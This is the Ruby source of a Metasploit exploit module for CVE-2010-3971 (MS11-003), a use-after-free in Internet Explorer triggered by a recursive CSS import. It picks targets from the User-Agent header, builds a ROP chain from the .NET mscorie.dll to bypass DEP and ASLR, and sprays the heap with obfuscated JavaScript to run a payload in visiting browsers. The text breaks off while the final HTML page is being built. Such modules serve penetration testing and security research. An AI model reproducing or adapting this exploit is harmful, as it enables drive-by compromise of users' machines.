##
# $Id: ms11_003_ie_css_import.rb 11730 2011-02-08 23:31:44Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking # Need more love for Great
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "7.0", # Should be 6
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => nil, # no way to test without just trying it
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer CSS Recursive Import Use After Free',
'Description' => %q{
This module exploits a memory corruption vulnerability within Microsoft\'s
HTML engine (mshtml). When parsing an HTML page containing a recursive CSS
import, a C++ object is deleted and later reused. This leads to arbitrary
code execution.
This exploit utilizes a combination of heap spraying and the
.NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not
opt-in to ASLR. As such, this module should be reliable on all Windows
versions with .NET 2.0.50727 installed.
},
'License' => MSF_LICENSE,
'Author' =>
[
'passerby', # Initial discovery / report
'd0c_s4vage', # First working public exploit
'jduck' # Metasploit module (ROP, @WTFuzz spray)
],
'Version' => '$Revision: 11730 $',
'References' =>
[
[ 'CVE', '2010-3971' ],
[ 'OSVDB', '69796' ],
[ 'BID', '45246' ],
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/2488013.mspx' ],
[ 'URL', 'http://www.wooyun.org/bugs/wooyun-2010-0885' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Dec/110' ],
[ 'URL', 'http://xcon.xfocus.net/XCon2010_ChenXie_EN.pdf' ], # .NET 2.0 ROP (slide 25)
[ 'URL', 'http://www.breakingpointsystems.com/community/blog/ie-vulnerability/' ],
[ 'MSB', 'MS11-003' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Internet Explorer 8',
{
'Ret' => 0x105ae020,
'OnePtrOff' => 0x18,
'DerefOff' => 0x30,
'FlagOff' => 0x54,
'CallDeref1' => 0x20,
'SignedOff' => 0x1c,
'CallDeref2' => 0x24,
'CallDeref3' => 0x00,
'CallDeref4' => 0x20,
'Deref4Off' => 0x08
}
],
[ 'Internet Explorer 7',
{
'Ret' => 0x105ae020,
'OnePtrOff' => 0x14,
'DerefOff' => 0x5c,
'FlagOff' => 0x34,
'CallDeref1' => 0x1c,
'SignedOff' => 0x18,
'CallDeref2' => 0x20,
'CallDeref3' => 0x00,
'CallDeref4' => 0x20,
'Deref4Off' => 0x08
}
],
# For now, treat the IE6 target the same as teh debug target.
[ 'Internet Explorer 6',
{
'Ret' => 0xc0c0c0c0,
'OnePtrOff' => 0x14,
'DerefOff' => 0x5c,
'FlagOff' => 0x34,
'CallDeref1' => 0x1c,
'SignedOff' => 0x18,
'CallDeref2' => 0x20,
'CallDeref3' => 0x00,
'CallDeref4' => 0x20,
'Deref4Off' => 0x08
}
],
[ 'Debug Target (Crash)',
{
'Ret' => 0xc0c0c0c0,
'OnePtrOff' => 0,
'DerefOff' => 4,
'FlagOff' => 8,
'CallDeref1' => 0xc,
'SignedOff' => 0x10,
'CallDeref2' => 0x14,
'CallDeref3' => 0x18,
'CallDeref4' => 0x1c,
'Deref4Off' => 0x20
}
]
],
# Full-disclosure post was Dec 8th, original blog Nov 29th
'DisclosureDate' => 'Nov 29 2010',
'DefaultTarget' => 0))
end
def auto_target(cli, request)
mytarget = nil
agent = request.headers['User-Agent']
#print_status("Checking user agent: #{agent}")
if agent !~ /\.NET CLR 2\.0\.50727/
print_error("#{cli.peerhost}:#{cli.peerport} Target machine does not have the .NET CLR 2.0.50727")
return nil
end
if agent =~ /MSIE 6\.0/
mytarget = targets[3]
elsif agent =~ /MSIE 7\.0/
mytarget = targets[2]
elsif agent =~ /MSIE 8\.0/
mytarget = targets[1]
else
print_error("#{cli.peerhost}:#{cli.peerport} Unknown User-Agent #{agent}")
end
mytarget
end
def on_request_uri(cli, request)
print_status("#{cli.peerhost}:#{cli.peerport} Received request for %s" % request.uri.inspect)
mytarget = target
if target.name == 'Automatic'
mytarget = auto_target(cli, request)
if (not mytarget)
send_not_found(cli)
return
end
end
#print_status("#{cli.peerhost}:#{cli.peerport} Automatically selected target: #{mytarget.name}")
buf_addr = mytarget.ret
css_name = [buf_addr].pack('V') * (16 / 4)
# We stick in a placeholder string to replace after UTF-16 encoding
placeholder = "a" * (css_name.length / 2)
uni_placeholder = Rex::Text.to_unicode(placeholder)
if request.uri == get_resource() or request.uri =~ /\/$/
print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} redirect")
redir = get_resource()
redir << '/' if redir[-1,1] != '/'
redir << rand_text_alphanumeric(4+rand(4))
redir << '.html'
send_redirect(cli, redir)
elsif request.uri =~ /\.html?$/
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} HTML")
# Generate the ROP payload
rvas = rvas_mscorie_v2()
rop_stack = generate_rop(buf_addr, rvas)
fix_esp = rva2addr(rvas, 'leave / ret')
ret = rva2addr(rvas, 'ret')
pivot1 = rva2addr(rvas, 'call [ecx+4] / xor eax, eax / pop ebp / ret 8')
pivot2 = rva2addr(rvas, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret')
# Append the payload to the rop_stack
rop_stack << p.encoded
# Build the deref-fest buffer
len = 0x84 + rop_stack.length
special_sauce = rand_text_alpha(len)
# This ptr + off must contain 0x00000001
special_sauce[mytarget['OnePtrOff'], 4] = [1].pack('V')
# Pointer that is dereferenced to get the flag
special_sauce[mytarget['DerefOff'], 4] = [buf_addr].pack('V')
# Low byte must not have bit 1 set
no_bit1 = rand(0xff) & ~2
special_sauce[mytarget['FlagOff'], 1] = [no_bit1].pack('V')
# These are deref'd to figure out what to call
special_sauce[mytarget['CallDeref1'], 4] = [buf_addr].pack('V')
special_sauce[mytarget['CallDeref2'], 4] = [buf_addr].pack('V')
special_sauce[mytarget['CallDeref3'], 4] = [buf_addr + mytarget['Deref4Off']].pack('V')
# Finally, this one becomes eip
special_sauce[mytarget['CallDeref4'] + mytarget['Deref4Off'], 4] = [pivot1].pack('V')
# This byte must be signed (shorter path to flow control)
signed_byte = rand(0xff) | 0x80
special_sauce[mytarget['SignedOff'], 1] = [signed_byte].pack('C')
# These offsets become a fix_esp ret chain ..
special_sauce[0x04, 4] = [pivot2].pack('V') # part two of our stack pivot!
special_sauce[0x0c, 4] = [buf_addr + 0x84 - 4].pack('V') # becomes ebp, for fix esp
special_sauce[0x10, 4] = [fix_esp].pack('V') # our stack pivot ret's to this (fix_esp, from eax)
# Add in the rest of the ROP stack
special_sauce[0x84, rop_stack.length] = rop_stack
# Format for javascript use
special_sauce = Rex::Text.to_unescape(special_sauce)
js_function = rand_text_alpha(rand(100)+1)
# Construct the javascript
custom_js = <<-EOS
function #{js_function}() {
heap = new heapLib.ie(0x20000);
var heapspray = unescape("#{special_sauce}");
while(heapspray.length < 0x1000) heapspray += unescape("%u4444");
var heapblock = heapspray;
while(heapblock.length < 0x40000) heapblock += heapblock;
finalspray = heapblock.substring(2, 0x40000 - 0x21);
for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); }
var vlink = document.createElement("link");
vlink.setAttribute("rel", "Stylesheet");
vlink.setAttribute("type", "text/css");
vlink.setAttribute("href", "#{placeholder}")
document.getElementsByTagName("head")[0].appendChild(vlink);
}
EOS
opts = {
'Symbols' => {
'Variables' => %w{ heapspray vlink heapblock heap finalspray counter },
'Methods' => %w{ prepare }
}
}
custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts)
js = heaplib(custom_js)
dll_uri = get_resource()
dll_uri << '/' if dll_uri[-1,1] != '/'
dll_uri << "generic-" + Time.now.to_i.to_s + ".dll"
# Construct the final page
html = <<-EOS